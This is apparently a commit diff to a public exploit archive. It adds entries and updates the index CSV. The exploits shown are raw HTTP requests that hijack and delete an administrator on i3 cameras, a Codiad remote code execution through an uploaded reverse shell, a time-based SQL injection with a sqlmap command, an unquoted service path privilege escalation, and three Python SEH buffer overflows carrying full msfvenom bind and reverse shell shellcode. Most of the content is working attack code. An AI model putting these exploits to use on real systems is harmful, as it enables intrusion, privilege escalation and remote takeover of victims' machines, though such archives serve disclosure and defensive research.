User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.1.1
Referer: http://192.168.1.1/doc/setup.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: i3userInfo80=aTNhZG1pbjppM2FkbWlu; i3userName80=i3admin
Connection: close
<?xml version='1.0' encoding='utf-8'?><UserPermission><id>3</id><userID>3</userID><userType>admin</userType><remotePermission><playBack>true</playBack><preview>true</preview><record>true</record><ptzControl>true</ptzControl><upgrade>true</upgrade><parameterConfig>true</parameterConfig><restartOrShutdown>true</restartOrShutdown><logOrStateCheck>true</logOrStateCheck><voiceTalk>true</voiceTalk><transParentChannel>true</transParentChannel><contorlLocalOut>true</contorlLocalOut><alarmOutOrUpload>true</alarmOutOrUpload></remotePermission></UserPermission>
HTTP/1.1 200 OK
Date: Wed, 27 Oct 2021 14:13:56 GMT
Server: App-webs/
Connection: close
Content-Length: 238
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<ResponseStatus version="1.0" xmlns="urn:psialliance-org">
<requestURL>/PSIA/Custom/SelfExt/UserPermission/3</requestURL>
<statusCode>1</statusCode>
<statusString>OK</statusString>
</ResponseStatus>
Delete Administrator user ID 3:
-------------------------------
DELETE /PSIA/Security/AAA/users/3 HTTP/1.1
Host: 192.168.1.1
Cache-Control: max-age=0
Accept: */*
X-Requested-With: XMLHttpRequest
If-Modified-Since: 0
Authorization: Basic aTNhZG1pbjppM2FkbWlu
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Origin: http://192.168.1.1
Referer: http://192.168.1.1/doc/setup.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: i3userInfo80=aTNhZG1pbjppM2FkbWlu; i3userName80=i3admin
Connection: close
HTTP/1.1 200 OK
Date: Wed, 27 Oct 2021 14:20:17 GMT
Server: App-webs/
Connection: close
Content-Length: 213
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<ResponseStatus version="1.0" xmlns="urn:psialliance-org">
<requestURL>/PSIA/Security/AAA/users/3</requestURL>
<statusCode>1</statusCode>
<statusString>OK</statusString>
</ResponseStatus>

29
exploits/multiple/webapps/50474.txt Normal file
View file

@ -0,0 +1,29 @@
# Exploit Title: Codiad 2.8.4 - Remote Code Execution (Authenticated) (4)
# Author: P4p4_M4n3
# Vendor Homepage: http://codiad.com/
# Software Links : https://github.com/Codiad/Codiad/releases
# Type: WebApp
###################-------------------------##########################------------###################
# Proof of Concept: #
# #
# 1- login on codiad #
# #
# 2- go to themes/default/filemanager/images/codiad/manifest/files/codiad/example/INF/" directory #
# #
# 3- right click and select upload file #
# #
# 4- click on "Drag file or Click Here To Upload" and select your reverse_shell file #
# #
###################-------------------------#########################-------------###################
after that your file should be in INF directory, right click on your file and select delete,
and you will see the full path of your file
run it in your terminal with "curl" and boom!!
/var/www/html/codiad/themes/default/filemanager/images/codiad/manifest/files/codiad/example/INF/shell.php
1 - # nc -lnvp 1234
2 - curl http://target_ip/codiad/themes/default/filemanager/images/codiad/manifest/files/codiad/example/INF/shell.php -u "admin:P@ssw0rd"

41
exploits/php/webapps/50467.txt Normal file
View file

@ -0,0 +1,41 @@
# Title: Employee Record Management System 1.2 - 'empid' SQL injection (Unauthenticated)
# Exploit Author: Anubhav Singh
# Date: 2021-10-31
# Vendor Homepage: https://phpgurukul.com/employee-record-management-system-in-php-and-mysql/
# Version: 1.2
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=8967
# Tested On: Windows 10, XAMPP
# Vulnerable Parameter: Email
Steps to Reproduce:
1) Navigate to http://localhost/employee_record/erms/forgetpassword.php and enter any email in email Field and capture request in burpsuite.
2) Create a txt file and paste this request.
Request:
=======
POST /employee_record/erms/forgetpassword.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 110
Origin: http://localhost
Connection: close
Referer: http://localhost/employee_record/erms/forgetpassword.php
Cookie: security_level=0; PHPSESSID=7u3nsaok3or5a9199no8ion8fh
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Email=anubhav@gmail.com&empid=ads'+AND+(SELECT+9312+FROM+(SELECT(SLEEP([SLEEPTIME])))MBeq)--+NIlX&submit=reset
-----------------------------------------------------------------------------------------------------------------
3) Send this request to sqlmap
4) command : python sqlmap.py -r request.txt -p Email --dbs
5) We can retrieve all databases using above sqlmap command

41
exploits/windows/local/50466.txt Normal file
View file

@ -0,0 +1,41 @@
# Exploit Title: Dynojet Power Core 2.3.0 - Unquoted Service Path
# Exploit Author: Pedro Sousa Rodrigues (https://www.0x90.zone/ / @Pedro_SEC_R)
# Version: 2.3.0 (Build 303)
# Date: 30.10.2021
# Vendor Homepage: https://www.dynojet.com/
# Software Link: https://docs.dynojet.com/Document/18762
# Tested on: Windows 10 Version 21H1 (OS Build 19043.1320)
SERVICE_NAME: DJ.UpdateService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\Dynojet Power Core\DJ.UpdateService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : DJ.UpdateService
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
PS C:\Users\Developer> Get-UnquotedService
ServiceName : DJ.UpdateService
Path : C:\Program Files\Dynojet Power Core\DJ.UpdateService.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users;
Permissions=AppendData/AddSubdirectory}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'DJ.UpdateService' -Path <HijackPath>
CanRestart : True
Name : DJ.UpdateService
ServiceName : DJ.UpdateService
Path : C:\Program Files\Dynojet Power Core\DJ.UpdateService.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users; Permissions=System.Object[]}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'DJ.UpdateService' -Path <HijackPath>
CanRestart : True
Name : DJ.UpdateService
#Exploit:
A successful attempt would require the local user to be able to insert their code in the system root path (depending on the installation path). The service might be executed manually by any Authenticated user. If successful, the local user's code would execute with the elevated privileges of Local System.

93
exploits/windows/local/50470.py Executable file
View file

@ -0,0 +1,93 @@
# Exploit Title: Kingdia CD Extractor 3.0.2 - Buffer Overflow (SEH)
# Date: 31.10.2021
# Software Link: https://en.softonic.com/download/kingdia-cd-extractor/windows/post-download
# Exploit Author: Achilles
# Tested Version: 3.0.2
# Tested on: Windows 7 64bit
# 1.- Run python code : Kingdia.py
# 2.- Open EVIL.txt and copy All content to Clipboard
# 3.- Open Kingdia CD Extractor and press Register
# 4.- Paste the Content of EVIL.txt into the 'Name and Code Field'
# 5.- Click 'OK'
# 6.- Nc.exe Local IP Port 3110 and you will have a bind shell
# 7.- Greetings go:XiDreamzzXi,Metatron
#!/usr/bin/env python
import struct
buffer = "\x41" * 256
nseh = "\xEB\x06\x90\x90" #jmp short 6
seh = struct.pack('<L',0x10037859) #SkinMagic.dll
nops = "\x90" * 20
#msfvenom -p windows/shell_bind_tcp LPORT=3110 -f py -e x86/alpha_mixed E=
XITFUNC=thread -b "\x00\x0a\x0d"
buf = b""
buf += b"\x89\xe0\xdb\xd9\xd9\x70\xf4\x59\x49\x49\x49\x49\x49"
buf += b"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37"
buf += b"\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41"
buf += b"\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58"
buf += b"\x50\x38\x41\x42\x75\x4a\x49\x49\x6c\x39\x78\x6c\x42"
buf += b"\x43\x30\x73\x30\x75\x50\x73\x50\x4e\x69\x58\x65\x70"
buf += b"\x31\x69\x50\x32\x44\x6c\x4b\x56\x30\x76\x50\x6e\x6b"
buf += b"\x31\x42\x34\x4c\x6e\x6b\x51\x42\x52\x34\x6c\x4b\x71"
buf += b"\x62\x75\x78\x36\x6f\x68\x37\x73\x7a\x74\x66\x65\x61"
buf += b"\x4b\x4f\x4c\x6c\x77\x4c\x70\x61\x61\x6c\x63\x32\x66"
buf += b"\x4c\x35\x70\x79\x51\x58\x4f\x54\x4d\x53\x31\x79\x57"
buf += b"\x6d\x32\x59\x62\x63\x62\x31\x47\x6c\x4b\x50\x52\x52"
buf += b"\x30\x4e\x6b\x53\x7a\x37\x4c\x4c\x4b\x72\x6c\x32\x31"
buf += b"\x51\x68\x58\x63\x52\x68\x56\x61\x4e\x31\x53\x61\x6e"
buf += b"\x6b\x70\x59\x37\x50\x53\x31\x4b\x63\x6c\x4b\x42\x69"
buf += b"\x57\x68\x58\x63\x75\x6a\x61\x59\x4c\x4b\x46\x54\x6e"
buf += b"\x6b\x63\x31\x39\x46\x34\x71\x39\x6f\x4c\x6c\x5a\x61"
buf += b"\x5a\x6f\x44\x4d\x65\x51\x59\x57\x54\x78\x4b\x50\x74"
buf += b"\x35\x4a\x56\x54\x43\x33\x4d\x49\x68\x37\x4b\x63\x4d"
buf += b"\x35\x74\x70\x75\x68\x64\x71\x48\x6e\x6b\x50\x58\x55"
buf += b"\x74\x46\x61\x78\x53\x70\x66\x4c\x4b\x74\x4c\x72\x6b"
buf += b"\x4e\x6b\x53\x68\x45\x4c\x45\x51\x38\x53\x6c\x4b\x75"
buf += b"\x54\x6e\x6b\x55\x51\x4e\x30\x4d\x59\x33\x74\x35\x74"
buf += b"\x45\x74\x43\x6b\x61\x4b\x51\x71\x63\x69\x63\x6a\x70"
buf += b"\x51\x4b\x4f\x6d\x30\x43\x6f\x31\x4f\x51\x4a\x4e\x6b"
buf += b"\x76\x72\x4a\x4b\x4c\x4d\x61\x4d\x73\x58\x64\x73\x57"
buf += b"\x42\x73\x30\x43\x30\x65\x38\x63\x47\x51\x63\x57\x42"
buf += b"\x61\x4f\x50\x54\x61\x78\x42\x6c\x33\x47\x56\x46\x54"
buf += b"\x47\x59\x6f\x59\x45\x48\x38\x6a\x30\x37\x71\x35\x50"
buf += b"\x57\x70\x77\x59\x6f\x34\x33\x64\x32\x70\x70\x68\x35"
buf += b"\x79\x4b\x30\x32\x4b\x55\x50\x79\x6f\x39\x45\x43\x5a"
buf += b"\x47\x78\x53\x69\x50\x50\x58\x62\x59\x6d\x51\x50\x42"
buf += b"\x70\x31\x50\x30\x50\x55\x38\x48\x6a\x66\x6f\x49\x4f"
buf += b"\x79\x70\x39\x6f\x78\x55\x6d\x47\x42\x48\x57\x72\x37"
buf += b"\x70\x76\x6c\x54\x66\x4b\x39\x6b\x56\x63\x5a\x46\x70"
buf += b"\x72\x76\x51\x47\x55\x38\x68\x42\x4b\x6b\x77\x47\x75"
buf += b"\x37\x79\x6f\x7a\x75\x43\x67\x50\x68\x4c\x77\x6d\x39"
buf += b"\x76\x58\x49\x6f\x79\x6f\x69\x45\x66\x37\x63\x58\x33"
buf += b"\x44\x78\x6c\x47\x4b\x38\x61\x49\x6f\x39\x45\x51\x47"
buf += b"\x6f\x67\x50\x68\x42\x55\x62\x4e\x50\x4d\x35\x31\x69"
buf += b"\x6f\x38\x55\x43\x58\x45\x33\x62\x4d\x71\x74\x35\x50"
buf += b"\x6b\x39\x49\x73\x46\x37\x50\x57\x52\x77\x75\x61\x58"
buf += b"\x76\x33\x5a\x34\x52\x63\x69\x33\x66\x58\x62\x4b\x4d"
buf += b"\x73\x56\x6f\x37\x77\x34\x55\x74\x45\x6c\x46\x61\x66"
buf += b"\x61\x6e\x6d\x42\x64\x36\x44\x54\x50\x6f\x36\x63\x30"
buf += b"\x63\x74\x36\x34\x42\x70\x62\x76\x72\x76\x36\x36\x33"
buf += b"\x76\x46\x36\x50\x4e\x66\x36\x43\x66\x30\x53\x43\x66"
buf += b"\x71\x78\x44\x39\x58\x4c\x47\x4f\x4c\x46\x79\x6f\x79"
buf += b"\x45\x4e\x69\x79\x70\x62\x6e\x62\x76\x57\x36\x6b\x4f"
buf += b"\x34\x70\x30\x68\x77\x78\x6b\x37\x55\x4d\x33\x50\x69"
buf += b"\x6f\x48\x55\x6d\x6b\x69\x70\x67\x6d\x55\x7a\x54\x4a"
buf += b"\x52\x48\x39\x36\x4c\x55\x6f\x4d\x6d\x4d\x6b\x4f\x49"
buf += b"\x45\x67\x4c\x34\x46\x71\x6c\x37\x7a\x4b\x30\x39\x6b"
buf += b"\x59\x70\x50\x75\x73\x35\x4f\x4b\x61\x57\x47\x63\x61"
buf += b"\x62\x52\x4f\x33\x5a\x55\x50\x76\x33\x6b\x4f\x49\x45"
buf += b"\x41\x41"
pad ="B" * (7736 - len(buffer) - len(nseh+seh) - len(nops) -len(buf))
payload = buffer + nseh + seh + nops + buf + pad
try:
f=open("Evil.txt","w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"

92
exploits/windows/local/50471.py Executable file
View file

@ -0,0 +1,92 @@
# Exploit Title: YouTube Video Grabber 1.9.9.1 - Buffer Overflow (SEH)
# Date: 01.11.2021
# Software Link: https://www.litexmedia.com/ytgrabber.exe
# Exploit Author: Achilles
# Tested Version: 1.9.9.1
# Tested on: Windows 7 64bit
# 1.- Run python code : YouTube.py
# 2.- Open EVIL.txt and copy All content to Clipboard
# 3.- Open YouTube Video Grabber and press Enter Code
# 4.- Paste the Content of EVIL.txt into the 'Name and Serial Nummer'
# 5.- Click 'OK'
# 6.- Nc.exe Local IP Port 3110 and you will have a bind shell
# 7.- Greetings go:XiDreamzzXi,Metatron
#!/usr/bin/env python
import struct
buffer = "\x41" * 712
nseh = "\xEB\x06\x90\x90" #jmp short 6
seh = struct.pack('<L',0x01c5642e) #pop ecx # pop ecx # ret | {PAGE_EXECUTE_WRITECOPY} [YouTubeGrabber.exe
nops = "\x90" * 20
#msfvenom -p windows/shell_bind_tcp LPORT=3110 -f py -e x86/alpha_mixed EXITFUNC=thread -b "\x00\x0a\x0d\x20"
buf = b""
buf += b"\x89\xe1\xd9\xc6\xd9\x71\xf4\x5d\x55\x59\x49\x49\x49"
buf += b"\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
buf += b"\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
buf += b"\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
buf += b"\x58\x50\x38\x41\x42\x75\x4a\x49\x6b\x4c\x49\x78\x6e"
buf += b"\x62\x63\x30\x37\x70\x63\x30\x71\x70\x6d\x59\x4d\x35"
buf += b"\x56\x51\x6f\x30\x61\x74\x6c\x4b\x72\x70\x46\x50\x6e"
buf += b"\x6b\x43\x62\x56\x6c\x6c\x4b\x30\x52\x35\x44\x4c\x4b"
buf += b"\x31\x62\x54\x68\x74\x4f\x6e\x57\x42\x6a\x31\x36\x75"
buf += b"\x61\x49\x6f\x4e\x4c\x65\x6c\x50\x61\x33\x4c\x43\x32"
buf += b"\x36\x4c\x67\x50\x69\x51\x5a\x6f\x66\x6d\x47\x71\x5a"
buf += b"\x67\x4b\x52\x79\x62\x36\x32\x56\x37\x6e\x6b\x62\x72"
buf += b"\x44\x50\x4c\x4b\x51\x5a\x67\x4c\x6c\x4b\x52\x6c\x34"
buf += b"\x51\x32\x58\x5a\x43\x70\x48\x66\x61\x48\x51\x63\x61"
buf += b"\x6e\x6b\x31\x49\x31\x30\x65\x51\x38\x53\x4e\x6b\x50"
buf += b"\x49\x45\x48\x6a\x43\x77\x4a\x57\x39\x6c\x4b\x57\x44"
buf += b"\x6c\x4b\x76\x61\x4a\x76\x76\x51\x39\x6f\x6e\x4c\x4a"
buf += b"\x61\x5a\x6f\x34\x4d\x66\x61\x58\x47\x47\x48\x6d\x30"
buf += b"\x63\x45\x4a\x56\x54\x43\x71\x6d\x39\x68\x37\x4b\x71"
buf += b"\x6d\x57\x54\x62\x55\x68\x64\x56\x38\x6c\x4b\x30\x58"
buf += b"\x31\x34\x73\x31\x48\x53\x53\x56\x6e\x6b\x76\x6c\x52"
buf += b"\x6b\x6c\x4b\x32\x78\x65\x4c\x33\x31\x69\x43\x4c\x4b"
buf += b"\x77\x74\x4c\x4b\x65\x51\x38\x50\x6e\x69\x77\x34\x56"
buf += b"\x44\x65\x74\x31\x4b\x33\x6b\x50\x61\x42\x79\x73\x6a"
buf += b"\x30\x51\x6b\x4f\x4d\x30\x63\x6f\x61\x4f\x33\x6a\x6e"
buf += b"\x6b\x56\x72\x78\x6b\x4e\x6d\x61\x4d\x31\x78\x47\x43"
buf += b"\x46\x52\x37\x70\x75\x50\x52\x48\x62\x57\x70\x73\x45"
buf += b"\x62\x43\x6f\x42\x74\x63\x58\x50\x4c\x62\x57\x55\x76"
buf += b"\x36\x67\x59\x6f\x4a\x75\x6e\x58\x4c\x50\x37\x71\x75"
buf += b"\x50\x67\x70\x51\x39\x39\x54\x46\x34\x62\x70\x42\x48"
buf += b"\x44\x69\x4f\x70\x30\x6b\x75\x50\x59\x6f\x48\x55\x32"
buf += b"\x4a\x53\x38\x76\x39\x50\x50\x69\x72\x59\x6d\x37\x30"
buf += b"\x70\x50\x37\x30\x50\x50\x61\x78\x69\x7a\x54\x4f\x4b"
buf += b"\x6f\x59\x70\x59\x6f\x58\x55\x4e\x77\x31\x78\x34\x42"
buf += b"\x57\x70\x66\x6c\x74\x66\x4e\x69\x59\x76\x73\x5a\x44"
buf += b"\x50\x71\x46\x71\x47\x33\x58\x6a\x62\x79\x4b\x30\x37"
buf += b"\x50\x67\x59\x6f\x79\x45\x56\x37\x70\x68\x4d\x67\x39"
buf += b"\x79\x67\x48\x6b\x4f\x79\x6f\x4b\x65\x36\x37\x71\x78"
buf += b"\x44\x34\x68\x6c\x55\x6b\x38\x61\x69\x6f\x5a\x75\x70"
buf += b"\x57\x6d\x47\x75\x38\x42\x55\x42\x4e\x32\x6d\x71\x71"
buf += b"\x6b\x4f\x4a\x75\x62\x48\x71\x73\x52\x4d\x61\x74\x55"
buf += b"\x50\x6d\x59\x68\x63\x73\x67\x63\x67\x61\x47\x76\x51"
buf += b"\x5a\x56\x32\x4a\x75\x42\x51\x49\x63\x66\x59\x72\x79"
buf += b"\x6d\x43\x56\x78\x47\x37\x34\x57\x54\x65\x6c\x46\x61"
buf += b"\x67\x71\x6e\x6d\x43\x74\x76\x44\x64\x50\x4b\x76\x67"
buf += b"\x70\x70\x44\x42\x74\x50\x50\x52\x76\x30\x56\x63\x66"
buf += b"\x42\x66\x52\x76\x52\x6e\x36\x36\x51\x46\x46\x33\x46"
buf += b"\x36\x42\x48\x44\x39\x6a\x6c\x35\x6f\x6e\x66\x59\x6f"
buf += b"\x78\x55\x6d\x59\x4b\x50\x32\x6e\x62\x76\x42\x66\x6b"
buf += b"\x4f\x36\x50\x75\x38\x63\x38\x6f\x77\x65\x4d\x51\x70"
buf += b"\x39\x6f\x49\x45\x6d\x6b\x59\x70\x65\x4d\x67\x5a\x54"
buf += b"\x4a\x35\x38\x4d\x76\x6c\x55\x6f\x4d\x6d\x4d\x4b\x4f"
buf += b"\x68\x55\x35\x6c\x56\x66\x53\x4c\x35\x5a\x6b\x30\x69"
buf += b"\x6b\x59\x70\x50\x75\x37\x75\x6d\x6b\x72\x67\x32\x33"
buf += b"\x33\x42\x70\x6f\x43\x5a\x37\x70\x31\x43\x79\x6f\x79"
buf += b"\x45\x41\x41"
pad ="B" * (7280 - len(buffer) - len(nseh+seh) - len(nops) -len(buf))
payload = buffer + nseh + seh + nops + buf + pad
try:
f=open("Evil.txt","w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"

73
exploits/windows/local/50472.py Executable file
View file

@ -0,0 +1,73 @@
# Exploit Title: 10-Strike Network Inventory Explorer Pro 9.31 - Buffer Overflow (SEH)
# Date: 2021-10-31
# Exploit Author: ro0k
# Vendor Homepage: https://www.10-strike.com/
# Software Link: https://www.10-strike.com/networkinventoryexplorer/network-inventory-pro-setup.exe
# Version: 9.31
# Tested on: Windows 10 x64 Education 21H1 Build 19043.928
# Proof of Concept:
# 1.Run python2 exploit.py to generate overflow.txt
# 2.Transfer overflow.txt to the Windows 10 machine
# 3.Setup Netcat listener on attacker machine
# 4.Open 10-Strike Network Inventory Explorer Pro
# 5.Select Computers tab from the uppermost set of tabs
# 6.Select From Text File option
# 7.Open overflow.txt
# 8.Receive reverse shell connection on attacker machine!
#!/usr/bin/env python
import struct
charslist = ""
badchars = [0x00,0x09,0x0a,0x0d,0x3a,0x5c]
for i in range (0x00, 0xFF+1):
if i not in badchars:
charslist += chr(i)
#msfvenom -p windows/shell_reverse_tcp LHOST=10.2.170.242 LPORT=443 EXITFUNC=thread -f c -a x86 -b "\x00\x09\x0a\x0d\x3a\x5c"
shellcode = ("\xd9\xc8\xd9\x74\x24\xf4\x58\x33\xc9\xbb\xc6\xbc\xd3\x19\xb1"
"\x52\x83\xc0\x04\x31\x58\x13\x03\x9e\xaf\x31\xec\xe2\x38\x37"
"\x0f\x1a\xb9\x58\x99\xff\x88\x58\xfd\x74\xba\x68\x75\xd8\x37"
"\x02\xdb\xc8\xcc\x66\xf4\xff\x65\xcc\x22\xce\x76\x7d\x16\x51"
"\xf5\x7c\x4b\xb1\xc4\x4e\x9e\xb0\x01\xb2\x53\xe0\xda\xb8\xc6"
"\x14\x6e\xf4\xda\x9f\x3c\x18\x5b\x7c\xf4\x1b\x4a\xd3\x8e\x45"
"\x4c\xd2\x43\xfe\xc5\xcc\x80\x3b\x9f\x67\x72\xb7\x1e\xa1\x4a"
"\x38\x8c\x8c\x62\xcb\xcc\xc9\x45\x34\xbb\x23\xb6\xc9\xbc\xf0"
"\xc4\x15\x48\xe2\x6f\xdd\xea\xce\x8e\x32\x6c\x85\x9d\xff\xfa"
"\xc1\x81\xfe\x2f\x7a\xbd\x8b\xd1\xac\x37\xcf\xf5\x68\x13\x8b"
"\x94\x29\xf9\x7a\xa8\x29\xa2\x23\x0c\x22\x4f\x37\x3d\x69\x18"
"\xf4\x0c\x91\xd8\x92\x07\xe2\xea\x3d\xbc\x6c\x47\xb5\x1a\x6b"
"\xa8\xec\xdb\xe3\x57\x0f\x1c\x2a\x9c\x5b\x4c\x44\x35\xe4\x07"
"\x94\xba\x31\x87\xc4\x14\xea\x68\xb4\xd4\x5a\x01\xde\xda\x85"
"\x31\xe1\x30\xae\xd8\x18\xd3\xdb\x1e\x88\xd1\xb4\x1c\xcc\x14"
"\xfe\xa8\x2a\x7c\x10\xfd\xe5\xe9\x89\xa4\x7d\x8b\x56\x73\xf8"
"\x8b\xdd\x70\xfd\x42\x16\xfc\xed\x33\xd6\x4b\x4f\x95\xe9\x61"
"\xe7\x79\x7b\xee\xf7\xf4\x60\xb9\xa0\x51\x56\xb0\x24\x4c\xc1"
"\x6a\x5a\x8d\x97\x55\xde\x4a\x64\x5b\xdf\x1f\xd0\x7f\xcf\xd9"
"\xd9\x3b\xbb\xb5\x8f\x95\x15\x70\x66\x54\xcf\x2a\xd5\x3e\x87"
"\xab\x15\x81\xd1\xb3\x73\x77\x3d\x05\x2a\xce\x42\xaa\xba\xc6"
"\x3b\xd6\x5a\x28\x96\x52\x7a\xcb\x32\xaf\x13\x52\xd7\x12\x7e"
"\x65\x02\x50\x87\xe6\xa6\x29\x7c\xf6\xc3\x2c\x38\xb0\x38\x5d"
"\x51\x55\x3e\xf2\x52\x7c")
#pattern_offset.rb -l 250 -q 41316841
offset = 213
#nasm > jmp short 8
nseh = "\xeb\x06\x90\x90"
junk = "A" * (offset - len(nseh))
#0x61e012f6 : pop edi # pop ebp # ret | {PAGE_EXECUTE_READ} [sqlite3.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.12.2 (C:\Program Files (x86)\10-Strike Network Inventory Explorer Pro\sqlite3.dll)
seh = struct.pack("<I", 0x61e012f6)
#metasm > sub esp,0x10
subesp10="\x83\xec\x10"
payload = shellcode
buffer = junk + nseh + seh + subesp10 + payload
f = open("overflow.txt", "w")
f.write(buffer)
f.close()

9
files_exploits.csv
View file

@ -11306,6 +11306,7 @@ id,file,description,date,author,type,platform,port
49549,exploits/windows/local/49549.txt,"AnyTXT Searcher 1.2.394 - 'ATService' Unquoted Service Path",1970-01-01,"Mohammed Alshehri",local,windows,
49563,exploits/android/local/49563.txt,"Tasks 9.7.3 - Insecure Permissions",1970-01-01,"Lyhin\'s Lab",local,android,
49572,exploits/linux/local/49572.txt,"Apport 2.20 - Local Privilege Escalation",1970-01-01,Gr33nh4t,local,linux,
50466,exploits/windows/local/50466.txt,"Dynojet Power Core 2.3.0 - Unquoted Service Path",1970-01-01,"Pedro Sousa Rodrigues",local,windows,
49623,exploits/windows/local/49623.txt,"Print Job Accounting 4.4.10 - 'OkiJaSvc' Unquoted Service Path",1970-01-01,"Brian Rodriguez",local,windows,
49624,exploits/windows/local/49624.txt,"Configuration Tool 1.6.53 - 'OpLclSrv' Unquoted Service Path",1970-01-01,"Brian Rodriguez",local,windows,
49626,exploits/windows/local/49626.txt,"Pingzapper 2.3.1 - 'PingzapperSvc' Unquoted Service Path",1970-01-01,"Brian Rodriguez",local,windows,
@ -11406,6 +11407,9 @@ id,file,description,date,author,type,platform,port
50443,exploits/windows/local/50443.txt,"Netgear Genie 2.4.64 - Unquoted Service Path",1970-01-01,"Mert Daş",local,windows,
50448,exploits/windows/local/50448.txt,"OpenClinic GA 5.194.18 - Local Privilege Escalation",1970-01-01,"Alessandro Salzano",local,windows,
50449,exploits/windows/local/50449.txt,"Gestionale Open 11.00.00 - Local Privilege Escalation",1970-01-01,"Alessandro Salzano",local,windows,
50470,exploits/windows/local/50470.py,"Kingdia CD Extractor 3.0.2 - Buffer Overflow (SEH)",1970-01-01,stresser,local,windows,
50471,exploits/windows/local/50471.py,"YouTube Video Grabber 1.9.9.1 - Buffer Overflow (SEH)",1970-01-01,stresser,local,windows,
50472,exploits/windows/local/50472.py,"10-Strike Network Inventory Explorer Pro 9.31 - Buffer Overflow (SEH)",1970-01-01,ro0k,local,windows,
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",1970-01-01,kralor,remote,windows,80
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",1970-01-01,RoMaNSoFt,remote,windows,80
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",1970-01-01,"Marcin Wolak",remote,windows,139
@ -44566,3 +44570,8 @@ id,file,description,date,author,type,platform,port
50456,exploits/php/webapps/50456.js,"Wordpress 4.9.6 - Arbitrary File Deletion (Authenticated) (2)",1970-01-01,samguy,webapps,php,
50457,exploits/php/webapps/50457.py,"phpMyAdmin 4.8.1 - Remote Code Execution (RCE)",1970-01-01,samguy,webapps,php,
50458,exploits/php/webapps/50458.txt,"WordPress Plugin Filterable Portfolio Gallery 1.0 - 'title' Stored Cross-Site Scripting (XSS)",1970-01-01,"Murat DEMİRCİ",webapps,php,
50467,exploits/php/webapps/50467.txt,"Employee Record Management System 1.2 - 'empid' SQL injection (Unauthenticated)",1970-01-01,"Anubhav Singh",webapps,php,
50468,exploits/multiple/webapps/50468.rb,"Ericsson Network Location MPS GMPC21 - Remote Code Execution (RCE) (Metasploit)",1970-01-01,AkkuS,webapps,multiple,
50469,exploits/multiple/webapps/50469.rb,"Ericsson Network Location MPS GMPC21 - Privilege Escalation (Metasploit)",1970-01-01,AkkuS,webapps,multiple,
50473,exploits/multiple/webapps/50473.txt,"i3 International Annexxus Cameras Ax-n 5.2.0 - Application Logic Flaw",1970-01-01,LiquidWorm,webapps,multiple,
50474,exploits/multiple/webapps/50474.txt,"Codiad 2.8.4 - Remote Code Execution (Authenticated) (4)",1970-01-01,P4p4_M4n3,webapps,multiple,

Can't render this file because it is too large.